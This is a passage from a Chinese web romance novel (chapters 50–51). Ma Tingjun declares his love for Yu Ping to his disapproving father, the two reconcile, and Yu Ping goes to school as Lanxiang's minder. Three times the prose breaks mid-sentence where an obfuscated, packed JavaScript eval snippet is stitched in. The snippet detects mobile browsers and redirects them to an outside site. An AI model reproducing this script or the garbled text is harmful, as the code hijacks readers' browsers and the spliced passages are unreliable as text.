老陈道:“有什么着急?不等到小少爷答复,我才不走。” 麻霆君斩钉截铁道:“陈叔,我死也不肯陪什么四爷!请您死了这条心。” 麻老爷推搡老陈出门,老陈约是丢了面子,失了好事,甩下一句:“脑筋这么死,当心以后讨来太太,照样丢下你跑掉!” 屋里佣人见气氛不对,也随老爷一道出去。会客厅里只剩他们两人,谁也不肯吭声。一切都没什么好说的,不是情侣,却是实打实的心心相印,平时蒙着一层窗户纸,遇上急事,立刻把对方捧到了第一位。此时的鸦雀无声可怕至极,俞平懊悔自己太莽撞,低着头,麻霆君也没多能望几眼,麻老爷回来了。 老爷严肃道:“俞平,你的工作日是定好的,今天应该在布店,怎么来我们家了?” 俞平道:“我们布店的詹兰竹回来了,为了茶山诸多事宜,要答谢五爷。我是陪他一起来的。” 老爷冷哼道:“那你方才着急什么?” 俞平怕他看破拇指上绿莹莹,装作拘谨,把手背在身后,道:“少爷要是去殉葬,我丢了英文老师的工作,得不偿失。” “听你的意思,你只是想掏霆君的钱包。” “是。” “赚到了钱呢?我的霆君要传宗接代,日后去枢城寻一个贤良淑德的小姐,你也陪着他吗?” 俞平明白这话是刺他,不想自取其辱,微微撇过头,并未作答。老爷又道:“我家未出嫁的丫头多,你若有心成家,随你挑一个走。” 麻霆君早急眼了。若父亲是不能顶撞的,此刻还做缩头乌龟,不要说俞平看不上他,他自己都藐视?着自己,忙道:“爹,您说的都是什么?这些事情我自有判断,您不用为我操心!” 老爷道:“我是想操心,怕是实在有心无力!” 俞平平静道:“不叫老爷操心,我是奔着钱来的。日后五爷不在鹭镇,我自然会另谋出路。” 他心里却是排山倒海:怎么能为麻霆君落得这般狼狈?若真是担忧谈文翡造访,麻霆君危在旦夕;可他是先熟悉的谈文翡,再熟悉的麻霆君,谈文翡的行事风格还不好懂?能把麻霆君当作筹码谈判,一定不会意气用事,至多要几家公司。 到底是他自己太浅薄,这一回明明白白招惹了麻霆君,再不愿招惹麻老爷。俞平不顾大户人家的礼数,低声告了退,快步出门,与詹兰竹一并离开了。 老爷不拦俞平,听他脚步随风散去,顿感十分痛快,眉目舒展;哪想到自己的傻儿子动身要追,便一把抓着麻霆君的衣领,道:“你走什么?” 麻霆君心焦道:“我去找俞平!” “费什么力气?”老爷道,“你也听见了,他是奔着你的钱来的。明天是定好的工作日,用不着你去,他自己就会来。” 麻霆君道:“爹,这不是一回事!” 老爷挡在他跟前,道:“我还没问过你,你一天到晚和他厮混,什么时候是个头?” “爹,快让我走!” “老陈有一处是对的,就算是枢城的谈家四爷,照样相得中你。既然你看不上四爷,你打算什么时候成家立业?” 窗户透出去,依稀看得见麻公馆大门。两扇红门开了再关,俞平便是再也不会来了。麻霆君恋恋不舍地朝门口张望着,心思早随他关在门外;面对父亲,一时间心灰意冷。 好不容易熬至这等日子,麻霆君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871904|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自以为柳暗花明,却依然由各式各样的误会,和俞平双双闹得苦不堪言。父亲此时这般态度,逼得他委屈上涌,一丝体面也不留,道:“爹,您不用再动摇我,我这辈子认定俞平了,我爱他!” 老爷就等他这句话,怒道:“你懂什么,俞平有什么好的?” 麻霆君道:“哪里都好!我第一眼见到他,我就清楚我等的正是他,我非他不可!” “你天天和颜青鬼混,不喜欢女人也就罢了,怎么能喜欢俞平!” “俞平怎么了,我凭什么不能喜欢他!” 老爷气不过,抄来墙角的拐杖,笃笃在他脑袋上敲,愤然道:“你啊,你啊!” 麻霆君自己先把自己伤着了,眼眶红着,老爷打在头上也不知道痛,更不会躲了。老爷再是恨铁不成钢,好说歹说,疼了他这么多年,象征性来了几下,气喘吁吁,道:“你真喜欢俞平?” 麻霆君道:“真的!” 老爷哀叹一阵,又道:“不是爹不赞成。听布店的意思,俞平从前在枢城做水手,可听你姨娘的意思,俞平是给有钱少爷做情人的。我们麻家体面了几代人,你若是娶一个男人,还是个被人弃了的情人,成何体面?” 麻霆君言辞恳切,道:“俞平是堂堂正正做过水手的,怪别人利欲熏心,拿他作礼物献给权贵。我真不觉得这有什么,谈四要叫我殉葬,你们照样想要答应。何况是他。” 提起俞平不免一阵哽咽,他顿了顿,道:“做水手太苦,风餐露宿,挣扎个温饱都困难,他也是要生活的,又是身不由己,我很心疼他……爹,我和他相处过,清楚他的品行,他绝对值得托付终身,我到死也不会变心。” 老爷唉声叹气一阵,拄着拐杖,跌跌撞撞坐在一旁,衬得太师椅也潦倒不少。开口道:“爹也理解你,俞平长得实在是太好了,你这方面由向来不开窍,被他蛊了,倒是寻常。” 麻霆君只觉得心跳停了一拍,犹豫道:“爹,您答应了?” 老爷只是默许,没给个确凿答复,感慨道:“应该是你爹我被同行嫉妒,专门捉了只狐狸精,就挑你下手。” 麻霆君追问道:“那您不反对?” 老爷恼火道:“你个没出息的,居然有这么喜欢他,我还能怎么办?” 麻霆君兴奋叫几声“爹”,旋即握着拳头在原地蹦跳。老爷嫌他太失麻家颜面,抄了手杖,往地板戳着,道:“好了!先别跟你娘讲,我怕她吃不消。” “好爹爹,放心!” “难怪那些法师赚得到钱,我看这狐狸精真是不容小觑。” 麻霆君笑道:“就算他是狐狸精,也不是大街上随便拉个人就下手,既然他选中了我,他的心目中也一定有我,我们是两情相悦的,必当能够长长久久。” 他嫌自己一人没大没小无趣,要叫三位大臣露一手。强迫之下,胖子、瘦子、阿吉,接连冒了出来,面面相觑,最终还是开了口: 胖子畏首畏尾:“五爷是谦谦君子,狐狸精早已神魂颠倒。” 瘦子胆小如鼠:“五爷太温润如玉,狐狸精为他改邪归正。” 老爷早不顺心了,对于亲儿子多少包庇,对于他们可没这份耐心,斥骂道:“五爷?哪来的五爷!” 阿吉识趣,把冒出喉咙的话咽了下去。 麻霆君欣喜若狂,急匆匆地往门外赶,正是他出门前猫腰照着茶色玻璃的反光,老爷察出不对,喝道:“慢着!” 麻霆君周身一凝。老爷清清嗓子,道:“詹兰竹带回来的那批茶叶找不到下家,你要去哪里?” 麻霆君略有畏缩道:“布店。” 他这话说得过于石破天惊,气得老爷跺脚不止,胖子瘦子看眼色去扶他,他与他们倒靠一起,道:“爹是为了让你安心,不是叫你玩物丧志!” 麻霆君道:“俞平一定被您伤了心,我要去把他哄高兴了,否则做成再多生意,有什么用?” “俞平,俞平。”麻老爷狠狠道,“命也给俞平!” “俞平要,我就给。” 麻霆君无视父亲的愤怒,得意洋洋,道,“依我看,俞平一定舍不得!” “逆子,我就不该答应你!” “爹,你教育我的,一诺千金!” 50.将军 “咦,这不是五爷的三位大将军,鬼鬼祟祟蹲在我家后门,准备偷点什么回去?” 兰香说着,一人送一脚踩在后背上,瘦子与阿吉无一幸免遇难,踩到胖子时停两步换脚,才让他逃过一劫。 阿吉道:“大小姐,我们是为了你们好。布店生意旺,我们若是在前头,大家看我二位大哥奇丑无比,都被吓跑了。我们躲在后头,才不引人注目。” 胖子瘦子见他欠揍,提拳就要打。兰香笑着,一边一个拦下了,道:“我猜,一定是五爷又惹俞平不高兴了。” 那三人不语,她又道:“他们真是闲,无事生非一通,再大张旗鼓地来道歉,浪费时间。” 瘦子道:“兰香小姐,我们为了你哥哥那批茶叶的下落而来。正如李喆小弟所说,躲在后门,是怕打搅你们店做生意。” “这话骗自己就成了,骗我?我可不好糊弄。”兰香狡黠一笑,道,“他们前天还在枢城共度良宵,怎么一回来就吵架?” 瘦子愣道:“前天?五爷这几天一直在麻公馆,怎么和俞平去枢城过的夜?” 兰香疑惑道:“俞平再犯梦魇,我们鹭镇无药可救了,非要去枢城治病。说是五爷送他去。” 胖子好声好气道:“兰香小姐,五爷确实没离开鹭镇,你是不是记错了?” 眼见事态发展超乎预料,兰香吃了一惊,道:“哇,五爷这般没担当,说带俞平去枢城治病,竟撇下俞平跑了!” 瘦子争辩道:“兰香小姐,不是他跑了,是他根本就没去。” “你寸步不离地监视着他?” “倒不是。这几天我在后院帮忙,都是早上见他一次,晚上见一次。” “那么,他若是中间一段时间和俞平去枢城逍遥了,你也没有功夫细究。” 瘦子悻悻告败。兰香揣测道:“他既然不肯和俞平过夜……我明白了,他底下的功夫是不是不大行?” 她的话茬直冲着他们五爷的雄风而来,太伤人,阿吉自己第一个不愿相信,却也难辨真伪,挤眉弄眼一阵,道:“哎呀,大小姐,不好信口雌黄!” 凡是桃色事宜,胖子和瘦子只当自己遁入地底。兰香看他们三人都窘迫,哦了一声,道:“这便是纸包不住火,我看更应该赶五爷走了。都说夫妻没有隔夜仇,看来他们不是同路人。” 胖子才焦急道:“怎么好污蔑我们五爷?你个小女孩,太邪恶!” 兰香得意道:“看你这副难看样子,必然是被我说中了。麻家面子还是太大,难怪都说五爷‘洁身自好’,原来是美化了他的不举。” 她旗开得胜后,拎着长裙裙摆,迫不及待往前门绕。 瘦子一边呵她站住,一边叫阿吉拦着她。阿吉腿脚快,几步踩在她身前,严肃道:“大小姐,空穴来风的事情,不好到处布散。” 兰香笑道:“想什么,我们是一伙的!俞平算我半个亲人,我还等着当五爷的小姨子。” 布店里,詹兰竹和麻霆君靠桌子两道棱站着,一个管自己说得神采飞扬,一个心里藏着事,指甲划拉着桌板。 兰香进门前看见俞平的布鞋落在鞋架,一进去,掀布帘朝天井张望一轮,不见他踪影,立刻摸出他身处哪里,便走上桌旁,甜甜唤了一声:“哥哥!” 詹兰竹朝她微笑着,为她倒了杯冷水,道:“嗳,小妹,我们正说那茶叶如何处理,你有什么好主意?” “我?我哪懂什么茶叶,我是看五爷来了。” 兰香笑道,“你不在家的时候,五爷时常照顾我们,是我们布店的头号恩人。我怕你怠慢了他,来视察一番。” 詹兰竹道:“我怎么会怠慢?五爷可是我的大哥。” 兰香道:“哎呀,娘新买了麦芽糖,你也不知道给他搅一棍来。” 詹兰竹方才讲话多高兴,此般见到桌上空空如也,意识到五爷嘴里闲着慌,插不上话,嚼不了消夜果儿;自己着实欠妥,便去里屋烧热糖补救。 兰香得逞,上下扫麻霆君一眼,不怀好意道:“要入秋了,五爷来我家订秋冬装吗?” 麻霆君马虎地道:“来是一定会来,具体要天冷一些再说。” 兰香又道:“哦,五爷吃不吃螃蟹?我们中午剩下一只没动过,给你剥了,蘸米醋吃。” “不必了,谢谢你的好意。” “五爷喝不喝我发明的荔枝薄荷盐汽水,味道很不错。” “不用了,我喝过茶。” “我家还有水果,有荔枝、香梨、葡萄,都很甜,五爷吃哪一种?” “都不吃。” “那五爷一定是想嗑瓜子了,我去取!” 光是格挡一通连珠炮似的提问,麻霆君多少精疲力尽,最终只剩摇头。使得兰香看在眼里,满足在心里,顺着桌沿溜到他身边,掩着嘴,悄声道:“五爷,我哥哥虽是去烧糖,他懂什么,我保证他能烧半个时辰。” 麻霆君慌乱看她一眼。她咯咯笑道:“五少奶奶还在阁楼生闷气呢!” * 詹兰竹的旧衣太小,俞平勉强挤进去,身上紧绷着,想来今日事毕,便从柜子里拿了套宽松的短衫。阁楼里唯独一方天窗,俞平避着天光,身影融入角落处的黑暗,从领口第一颗盘扣慢慢解起,脑海中无所事事,回溯着还是谈凭玉的一段岁月。 狗是他和谈皎真正感知世界重要的一环,因为什么感情都不会有,怜惜一只无条件忠诚的狗,便是效仿常人的第一步。家里那只马犬老死之后,谈皎再没打算养狗。少去了伪装的步骤,与平时好像无常。他那时年纪太小,对一切情感都在混沌中统一着,爱与不爱,对他而言如出一辙。 俞平要寻根究底,手上动作不知不觉迟缓着,长衫软软地漏在地板上。天窗上落下一只大鸟,牢牢占着玻璃,阁楼里头分外阴暗。在这始终黯淡的一方天地,要记起麻霆君,便不是一件容易事。 狗是忠诚且愚蠢的,麻霆君亦然。俞平锁在谈公馆太久,身上一无所有,时移事迁,碰巧被麻霆君继承到了先前的情感,是么?方才那般莽撞,是麻霆君害得他与先前判若两人,他必然对麻霆君动了心,兴许先是萌发一点情,再真正生了爱出来—— 可他也能有真心,也会幸福吗?按理说,人人都是圆满的,他物质上有得太多,便要以精神抵作弥补,他最当是凄苦的;天窗上的鸟平展羽翼,闪着金属色泽的喙,哑哑鸣响,俞平浑身的重量仿佛只在眼眶悬停的两滴泪上,若是平添一阵风,他必然轻飘飘地被刮跑了。 暗中的影子多竖直一支,麻霆君闯进来了。 才记起衣服没穿完。那吱嘎声太刺耳,俞平手上动作一缓。麻霆君见他的脊背,立刻念念有词地退了出去。他倒是从小被伺候着穿衣,对于隐私把得不如麻霆君严,还镇定自若,一颗接着一颗地扣衣扣。 许久传来轻轻叩着木门的声音,门栓没挂着,眼见门缝被他敲得越来越大,露出粗粗一线麻霆君,朝他道:“我能进来吗?” 俞平不应。 麻霆君踌躇一阵,才推开了门。俞平正是盯着他进来的,冷冰冰道:“换衣服有什么可稀奇的,你躲什么?” 麻霆君带着歉意,道:“打搅你了,不太好。” 俞平笑了一声,笑得不知是自己抑或麻霆君;从床头柜里拿了一包格纹手绢,朝着他,四角规整地展开,露出他先前押给自己的一只表,再一把攥着,放在桌上,道:“我应当要还你的。” “放你这里,以后遇上急事,身上现钱不够,可以问他们抵押。” “哦,有不要的垃圾,终于想起我了。” 俞平当这话是送客,不想目睹他离开,干脆背过身去。他的脚步急一阵,哪知道直奔自己而来; 麻霆君从背后环抱着俞平,右手卡着左手手腕,把他牢牢束在自己的怀中,一同左右晃着,像是盛婴儿的摇篮,低声求饶道:“不生我气,好么?” 听他语气,若不是俞平肯让他抱,早哭出来了。秋雨连绵过后,天气转凉,俞平的单薄衣料不够御寒,麻霆君的怀抱暖和得叫人依依不舍,把他的心暖烘烘地烤着,成了融化的奶油。余光瞥在墙角脱颖而出的影子,二人连在一块,像是油灯中孱弱的火苗,抖动着,燃烧着,消磨了一场双人舞。 可他不予麻霆君任何表态,麻霆君以为他有意冷落自己,哀哀地松了手。俞平回身望向他,捉他眼眸中有几分忧郁,便是另有一番风情的英俊——唉!这叫俞平如何肯放过,还想拿他寻开心。幸福总归是过眼云烟,开心作不了假。 麻霆君先道:“是我不好,没早和爹细细提过你。你走以后,我和他坦诚地谈了谈,他心里是认可你的,前头是气话。你有时间,我们去见一见他。” 俞平道:“见一见?我只是个英文助教,见你爸爸做什么?” 麻霆君硬挤了个笑出来,温和道:“我们是好朋友,他也很想认识你。” “哪来的好朋友?”俞平嗤笑道,“五爷要去配冥婚的,配的偏偏还是我从前的主子。不但丢了我的饭碗,还抢了我谋生的路数,叫我跟着殉了算了。” 麻霆君道:“平儿,你明白我,我宁死不去的!” 俞平道:“叫谁平儿,我什么时候答应你了?” 他太咄咄逼人,又是从中作梗,麻霆君招架不过,蔫得愈加厉害。良久,俞平双手捧着他的面颊,把他的脸轻轻掰正,叫他看着自己——心里太空虚,俞平急切地需要什么来填上,兴许是一个永远不会结束的拥抱,一个吻,一个能够让他爱的人。 对视时光漫长,可惜麻霆君笨得可怜又可爱,无动于衷,只知道俞平主动哄他,便傻傻地笑着。 这时候还能够灿烂,真是荒唐至极了,麻霆君究竟是真的天真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888332|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂漫,还是先前扮猪吃虎,佯装沮丧,只为博取俞平一刻关心?俞平总归被他拴住了,软绵绵地恨着他。手上绝不拖泥带水,往他脸颊上扇了一记,力道却是极轻的。 哪知道麻霆君笑得更灿烂,捉着俞平的手,贴在脸边,道:“你打我,打到消气为止。” 俞平赌气道:“你说的,我要把你耳朵打下来。” 麻霆君笑道:“好极了,请开始吧。” 俞平心里竟是踯躅不前,好一会功夫,最终拢着麻霆君的腰际,扑进他的怀里,抱得死死的。这时候若能添一点甜言蜜语,自是事半功倍,俞平偏是什么都说不上来,衔着他薄薄的耳垂,“你真是……”,却一时语塞,真要把他的眼泪继承来了。 麻霆君自是热烈地拥抱他回应,笑的时候身体微微震着,轻拍他的后背,哄道:“‘我真是个笨人’。平儿,我的平儿,你知道的。” 俞平道:“麻霆君,我最讨厌笨人。” 麻霆君便道:“又是要讨厌我,又是要打我,快来么,我骨头痒酥酥的,欠你收拾。” 俞平失声笑道:“你真是欠!快松开手,我好好教训你。” 麻霆君笑道:“咦,也不知道是谁不肯松手。” 应证了他的话似的,俞平愈不肯放过他。凡是有麻霆君在身边,好像一切都不能够称作困难。 真是爱上麻霆君了,他谈凭玉是个可怜的人,一事无成,在家里倚仗着姐姐,在鹭镇被麻霆君反将一军,死心塌地地倒靠给他——丧钟敲响之前,俞平心里做最后的抗争:理应是谈凭玉喜欢他,同俞平何干?这一阵殊死挣扎,搏出了生路,俞平轻松不少,酝酿着坏点子,便是铆足了劲要戏弄他。 但是俞平十分舍不得这个拥抱,片刻后,好不容易松了手,道:“笨人,大事不妙了。” 麻霆君笑道:“怎么?” 俞平佯装严肃道:“谈四最喜欢笨人,越笨越喜欢。” 麻霆君的笑容凝结着,生生被拍在脸上似的,过后惊恐不已,道:“你是吓唬我的!” 俞平落得心满意足,哼哼笑两声,道:“我还不懂他么?他喜欢的只有你这类,我是例外。” 末了他离开麻霆君,坐在床上,为了不让麻霆君看穿他内心狂笑不止,捂着脸道:“我还没想考验你,你就经不过了。去枢城寻谈凭玉吧!报我俞平的大名,兴许他能对你宽容一些。” 麻霆君忙跟过来,道:“平儿,我……” 俞平扭过身子,背着他,道:“千万别改口,等你做了谈四奶奶,也管四爷叫‘凭儿’,他爱你都来不及。” 麻霆君便来他床上哄他,辅一坐下,立刻吃了一惊,道:“你的床有这么硬?难怪你要做噩梦。改日我去枢城,为你寻一张顶软的。” 俞平道:“枢城顶软的床在谈公馆,你想去陪四爷吗?” 麻霆君委屈道:“怎么又四爷上了,这一切究竟和我有什么关系?我说了,我不答应!怎么还要冤枉我!” “当然有关系,四爷喜欢你。” “他喜欢归他喜欢,我们井水不犯河水。再说,喜欢你的人也很多!若是我也一个个计较过来,要到猴年马月了。” 俞平想起要说出什么话回敬,经不住扑哧一笑,咬了舌头,吃过痛才镇定不少,道:“那么,以后四爷来强取豪夺,你总是躲不掉。” 麻霆君正色道:“本人麻霆君,向天发誓,绝不可能屈服给谈凭玉。” 绝不可能屈服给谈凭玉?他现在的摇尾乞怜算什么?真是苦了他一直被蒙在鼓里;俞平幽幽道:“这时候保证得不错,到时候可说不准了。” 麻霆君央求道:“平儿,我们不提他,好不好?” 楼下詹兰竹来喊他们,麦芽糖烧好了。 俞平起身道:“去吃糖吧。” 麻霆君挽留道:“平儿,我是真心!” “哦。” “我不是应付你才这么说的,我决不可能附庸权贵!” “我知道,姑且算相信你。” 麻霆君微微撅着嘴,脸上一派冤枉,挪着小步子跟在俞平身后。 俞平开门前,猝不及防回了头,往他颧弓上亲一口——麻霆君怔怔着,不可思议至牙齿发颤,如梦似幻,好像是心被点燃升空,烟花般炸得四处飞,人也要飘飘欲仙了。 俞平看不惯他美,再抽一记他的脸,笑道:“这是正规的西洋礼,表示友好。我也是真心,叫你见识一下。” “好……西洋礼,西洋礼……” 麻霆君的嘴定了型,只嘿嘿地笑得出来,说不出完整的话语。俞平乜他一眼,又道:“告诉你,我可有门道了,要是惹我不顺心了,第一个把你发卖去谈公馆。” “谈公馆,谈公馆……” “笨人,跟好我,要下楼了。” “跟你,跟你……” 51.报应 这日俞平在布店算上月的账,兰香平白无故地挨了过来,抢了俞平手中自来水笔,怕漏墨,放平在桌上,道:“平儿,我上次问你,能不能商量把五爷借我一天,他怎么说?” 俞平掐着算盘上最后一个数目,小小地记在页脚,才心虚道:“怎么你也这么叫了?” 兰香嘴角一扬,试探道:“既然这昵称是被五爷独占的,那他一定愿意被你借出来吧。” 俞平道:“他很忙。” 兰香追问道:“是你没有问,还是他不肯答应?” 兰香撺掇他们这么久,怎么可能不明白:凡是俞平开金口,麻霆君哪会不答应?这两人前阵子打着复诊的借口,上山看红叶。俞平要是再求他帮忙,短期难舍难分,怕不是真要以身相许了; 枢城那里悬而未决,指不定又来人冲着谈四爷,贸然牵扯麻霆君断然是万万不可的。便道:“兰竹哥带回来的茶叶大多受潮,有些棘手,我想还是不去劳烦他了。” 兰香讪讪哦了声,上楼做功课。 次日,镇上肉铺的屠夫领着儿子石头,找上布店。 屠夫叫嚣道:“你们管不管詹兰香?” ——肉铺的儿子石头,与兰香一个年级,调皮捣蛋惯了,平日总欺负其他女学生。兰香这般铁血女儿第一个无法容忍,唤了小姊妹偷他们家的葡萄以表警告,不料新学期石头以此做文章,变本加厉;兰香忍无可忍,无奈体格差距太大,光明正大地比试必然会落败,退而求其次,把他辫子剪了。 这事兰香暑月便有提及,老板夫妇只作稀疏平常,关心她在学堂和同学小打小闹,不如担忧詹兰竹实际,便无暇顾及;此时眼睁睁看着石头被屠夫掰着,原地转半圈,露出光溜溜一截后颈。 屠夫又道:“这跟辫子是从他娘胎里带出来的,怎么说剪就剪?” 兰香冲上前道:“他活该!我们女孩玩得好好的,非来欺负我们。” 屠夫见不占理,绑架起她的父母,道:“詹老板,何老板,我敬你们一家文化人,怎么养的出这样的女儿?” 兰香不给他们机会,抢话道:“我怎么了?” 屠夫道:“姑娘没个姑娘样!” 兰香道:“姑娘是什么样?我就是姑娘,姑娘就是我这样!” 俞平原是躲在墙角抄字帖,暗自庆幸:还好没把麻霆君卷进来。 场上兰香嗓门喊屠夫不过,总算轮来了詹氏夫妇。詹氏夫妇都是善人,话茬一直在屠夫嘴里,气势上落得下风。俞平架了笔看热闹,脚踝倏地被颗石子砸中了,原是兰香偷偷给他使眼色,比划着哥哥房间的位置,叫詹兰竹来撑腰。 俞平记得他去农家帮忙收菜,眼见前门充作战场,只好猫着腰去天井,翻墙走后门。 然而屠夫的大手忽然钳上了他的肩膀: “慢着。” 一种失败的感觉悄然遍布俞平全身,锁着眼睛,好一阵才有勇气转头面对。屠夫捏着他的下巴,也不言语,光是端详他好一阵。兰香见机不对,道:“你宝贝儿子还在呢,做什么混蛋事,快放了俞平!” “有福气。”屠夫往俞平下巴上最后一捏,多少依依不舍,乐道,“麻霆君这小子有福气。” 石头也嗅出诡异,小声道:“爹……” 屠夫阔步而来,往石头后脑勺拍了一掌,再对詹老板道:“看在老麻的份上,这次就算了。要是有下次,我去麻公馆讨个说法。” 学生之间起矛盾是小事,然而屠夫一家都泼辣,见惯了牲畜的生死,便也不会把人的道德束在心上。如此小事,不能真闹去麻公馆;布店摆出态度,为俞平请了假:往后开始的一星期,统统叫俞平做兰香的伴读,若是平安无事,再照常工作。 学堂是周围几个镇合资修建的,说来麻家出力也不小,一户就占了大头。听说俞平要去,麻乌金受人之托,再托了人来通融。 滨江公馆区的孩子从来是请家庭教师,除非念大学,鲜少有参与公共学堂的。俞平见识太少,看一切都新鲜。跟在兰香身后,先去食堂放饭盒,再去广场等着,人齐了做广播操。 俞平什么都不会,只能在队末打发时间。早操结束,一天的课业便开始了。 教室最后是一张靠背椅,铺了软垫,专门预备给俞平的,兰香说一不二地把他的椅子搬在自己的位置旁,顺手把软垫夺了过来。晨铃响过,上午是算数课。 算术先生上了年纪,头发白了一半,讲课前例行点名,挨个叫过后,以教算数的机敏扫了一眼,道:“多了一位同学,是哪一位?” 俞平起立道:“先生好,詹兰香和隔壁班学生打架,我是家里派来监督她的,与校长说明过。” 算术先生诧异道:“詹兰香又欺负男生了?” 底下哄笑不断,兰香跟着站了起来,脸红一阵,道:“是他欠揍!” 算术先生道:“伴读也要遵守学堂规章制度,你上来加个名字,不准迟到早退。” 俞平上到讲桌前,瞄准点名簿底下空白处,落笔前险些犯了旧毛病,所幸写得慢,涂涂改改,总算签了“俞平”。学生原本各自心不在焉,见他上去,全然集中精神,惊呼不断。俞平向来跋扈惯了,持靓行凶,却也抵不过他们热情似火,面皮被害得薄了些,耳朵红了一阵。 兰香拉来同桌,窃窃私语道:“我知道他算长得还不错,至于这样吗?” 同桌笑道:“只是‘还不错’?我要是五爷,我做鬼都要缠着他。” “嗳,他们好像都没承认呢。等下人家回来了,说话注意点。” “前几天我家秋游,看见他们一道走,多亲昵,要不是顾及我们在场,嘴都亲上了。” 兰香笑着,小声骂一句,推了把同桌的手臂,小打小闹着。待俞平回来,二人再和好如初。兰香笑道:“平儿,红叶好不好看?” 俞平帮她搬了算盘出来,道:“哪里来的红叶?先生讲课了。” 兰香真是一听算数课就要犯困,睡得口水不止。俞平叫了她几轮,不想也被她染上了,胳膊肘撑在桌子上,头一点一点地打着盹。台上先生司空见惯,不下来视察,光留了题目,半是叫他们消化,半是叫他们醒觉。 兰香照旧迷糊着,俞平咬牙坚持着最后一份清醒,利落地拨出答案,瞧了一轮焦头烂额地其他学生,便管自己闲闲地歇着。 中途休息铃响,兰香竟清醒了,拧着水杯喝水,顺手要把俞平唤醒。同桌第一个不肯,小声道:“怎么好打搅五少奶奶的美梦!” 兰香听见这话,立刻要笑,却也怕吵醒俞平,牢牢捂着嘴,肩膀一耸一耸。再与同桌开着玩笑,道:“我们班还好,隔壁班真有几个被麻霆君害得相思病的,我家俞平若真和五爷成了,他们不是要恨死?” 同桌笑道:“他们哪是喜欢五爷?叫他们一睹五少奶奶芳容,马上要在五爷手下横刀夺爱了。” 兰香笑道:“大家都这般没品,可怎么办!” 俞平睡得浅,听她们一阵空谈天,内心早是清醒了,无奈没有台阶下,便又假寐一阵;而后实在熬不住,闹一阵动静,无事生非地升一个懒腰出来,假装没听见她们说什么。 同桌觊觎俞平已久,见他睁眼,装着正经,问道:“俞平,兰香说你在麻公馆教洋文,五爷的洋文好吗?” 俞平不假思索道:“不好。” 认真想了想,又道:“很差。” 同桌笑道:“先生再一视同仁,必当是青睐好学生的,五爷洋文这么差,你私下是不是也很看不惯他?” 俞平道:“我是做短工的,当然不能妄自评论少爷。不过五爷人好是毋庸置疑的,上课归上课,课下重新算过。” “那么,你和五爷关系不错?” 俞平算是默认了。同桌又道:“本就是石头欺负你们,五爷会不会为你们鸣不平?按理说,他也算半个校长,上学期组织好几次看电影,都是麻家买的单。” 兰香插嘴道:“唉,他忙着处理我哥哥带回来的茶叶,否则我早借他一用了。” 同桌道:“他肯?” 兰香向俞平努嘴,道:“不肯也得肯!” 同桌又道:“俞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902890|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平,按理说五爷这样的,早该娶个三妻四妾回来,可他就是不结婚。你知道究竟是为什么?” 俞平认定她有意使诈,思索着如何说得圆满——麻霆君板上钉钉是他的人了,无非看他什么时候愿意接纳,他尚不想一锤定音,便是再折磨彼此一阵时间;肚子里无师自通酿着一个坏主意,忍着笑,不经意挑了眉毛,道:“唉,有隐情的。” 说罢摆着愁眉苦脸,不再言语。兰香果真上了套,道:“你快讲呀!着急死人。” 俞平道:“我不好讲。” 兰香道:“哪有什么不好讲的,你还信不过我们?一定牢牢保守秘密。” 三人再拉拉扯扯一阵,俞平嗅出时机已对,揭晓道:“他二十一年磨一剑,总算被枢城的谈四爷看中了,着急去谈公馆做四奶奶。” 同桌慌道:“你可别诓我们!” 俞平道:“我是想撒谎……就当是我的一面之词了,你们不相信最好。” 兰香也道:“真是人心隔肚皮了,他怎么会做这种事?” 俞平扮着高深莫测,又道:“你们可别讲出去,要是走漏了风声,四爷不高兴了,我们都要受牵连。” 那两人胆战心惊地答应下来。 午休时分,俞平特地去几间教室转了圈,压根见不到石头的影。一天便是如此消磨而过,不见得有人向兰香寻事生非。俞平松了警惕,想来马上就能去麻公馆了;放学时两人一同回去,告别一众同学,走去电影院门口坐黄包车。 兰香憋了许久,终于问道:“五爷真有这种门道,要娶了谈四爷?” 俞平在她话中挑毛剔刺,不满道:“都是谈四爷了,怎么还是娶?” “五爷这般高大威猛,娶你是娶,娶谈四爷照样是娶。” 兰香道,“你快告诉我,是不是真的?谈四爷应当还有品,总不可能糟蹋了他,不过他真是去了谈家,你怎么办?” 俞平闲闲道:“假的。我只想骗过你同学,没料到你也上了当。” 兰香吓道:“哇,看不出来,你有这么坏!” 憋了一阵,又道:“他不娶谈四爷,四爷怎么办?” 俞平道:“死了。” “谈四爷怎么死了?不是都在传说他没死吗?” “那就是没死。” “你闲的慌!把我当陀螺,抽得团团转。” 